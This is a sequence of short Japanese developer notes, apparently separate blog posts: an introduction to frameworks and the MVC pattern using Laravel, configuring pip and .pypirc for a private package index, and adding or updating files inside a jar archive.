そのため、ある程度の基礎的な枠組みを作っておいて、
アプリ開発の際はその枠組みを用いる(コードを書き加えたりする)ことで、
(その基礎的な枠組みを知っている)自分以外の他の人がコードを見ても実装したい内容が共有できる。
つまり、統一されたルールの中で多人数で実装が可能になる。
その基礎的な枠組みをフレームワークと呼ぶ。
フレームワークを用いることで、下記3点のメリットがある。
####⑴アプリ実装の労力の軽減
```
composer create-project --prefer-dist laravel/laravel {プロジェクトの名前}
```
とターミナルに入力するだけで、最低限必要なフォルダやファイルが一括で多数実装できるので楽。
####⑵保守性の確保
Web開発では、開発途中に要件の追加が発生することがよくある（らしい）が、
そういった修正等をする際、フレームワークを用いて、関連箇所をひとまとめにしておくことで、とある箇所のみの修正で改修できたりする。
つまり、改修時間の短縮につながる。
####⑶均質化と可読性の向上
フレームワークという枠組みやルールの中で実装されるので、
基本的には誰が書いても似たようなコードとなり、読みやすくなる。

>参照URL:http://www.objective-php.net/mvc/framework
MVCの基礎の"き"

#MVCとは？
MVC（Model View Controller モデル・ビュー・コントローラ）は、ユーザーインタフェースをもつアプリケーションソフトウェアを実装するためのデザインパターンである。
アプリケーションソフトウェアの内部データを、ユーザーが直接参照・編集する情報から分離する。そのためにアプリケーションソフトウェアを以下の3つの部分に分割する。
(wikipeiaより)
#MVCそれぞれのざっくりとした役割
###M:Model
■そのアプリケーションが扱う領域のデータと手続き
■SQLとのやりとりなど実際の処理
■編集マン・技術（TV業界でいうところの）
###V:View
■モデルのデータを取り出してユーザが見るのに適した形で表示する。
■画面に表示される顔。HTMLやJavaScriptを記述する。
■営業or代理店（TV業界でいうところの）
###C:Controller
■ユーザからの入力をモデルへのメッセージへと変換してモデルに伝える
■Viewから入力された値をModelに渡すなどViewとModelの橋渡し的な役割。
■ディレクター（TV業界でいうところの）
![1920px-MVC-Process.svg.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/504042/3e769e9b-d130-7656-d73e-59bc051d3f1f.png)
(画像:wikipediaより)


#MVCのメリット・デメリット
###メリット
機能が分割化されているため、改修・変更を加えやすい。
また、改修・変更を加えても影響範囲が広くならない、または分かりやすい。
処理の流れが煩雑化しにくい。
###デメリット
流れを理解するまでに時間がかかる。
pip install のデフォルト参照リポジトリを変更

デフォルトのリポジトリの変更が意外と見つからないので備忘録として。
設定はCentOSです。
Windowsは分かりません。。。

## UPLOAD SETUP
```
$ > vim ~/.pypirc
```

下記設定を入れます。

```
[distutils]
index-servers = pypi
                xxxx <= Myリポジトリ
[xxxx] <= Myリポジトリ
repository: http://xxxxxx <= 閉鎖環境ならhttpで十分
username: xxxx
password: xxxx
```

## DOWNLOAD SETUP
```
$ > mkdir ~/.pip
$ > vim ~/.pip/pip.conf
```

下記設定を入れます。
なおrootで行えば`sudo pip install`が使えます。
ユーザー権限で行えば`Coder`や`VSCode`などinstallする際に使えます。

```
[global]
index-url: YourURL
trusted-host: IP or domain
```

trusted-hostを設定することでhttpのエラーが出なくなります。
後は普通に`pip install`が使えます。
jarファイルにファイルを追加する

# 概要
できあがったjarファイルに足りないファイルがあったり、ちょっとプロパティーを変更したい場合に使う技

# jarファイルの中身を見る

ファイルを更新したい場合は、jarの中のファイルの一覧を表示して、対象のファイルのパスを確認する

```
jar tf XXXX.jar
```

# jarファイルにファイルを追加(更新)する

例えばlog4j.propretiesをjarのルートディレクトリに追加する方法は以下のようにする

```
jar uvf XXXX.jar log4j.properties
```

# jarファイルにファイルを追加(更新)する(サブディレクトリ編)

ディレクトリのサブディレクトリなどにある場合は、手元のディレクトリを掘ってファイルを配置した後にコマンドを実行する

例えば、こんな感じ。javaのファイルを更新したい場合は手元でjavaをコンパイルしてclassファイルを生成してから更新する(.javaファイルでは駄目なはず)

```
jar uvf XXXX.jar org/apache/log4j/FileAppender.class
```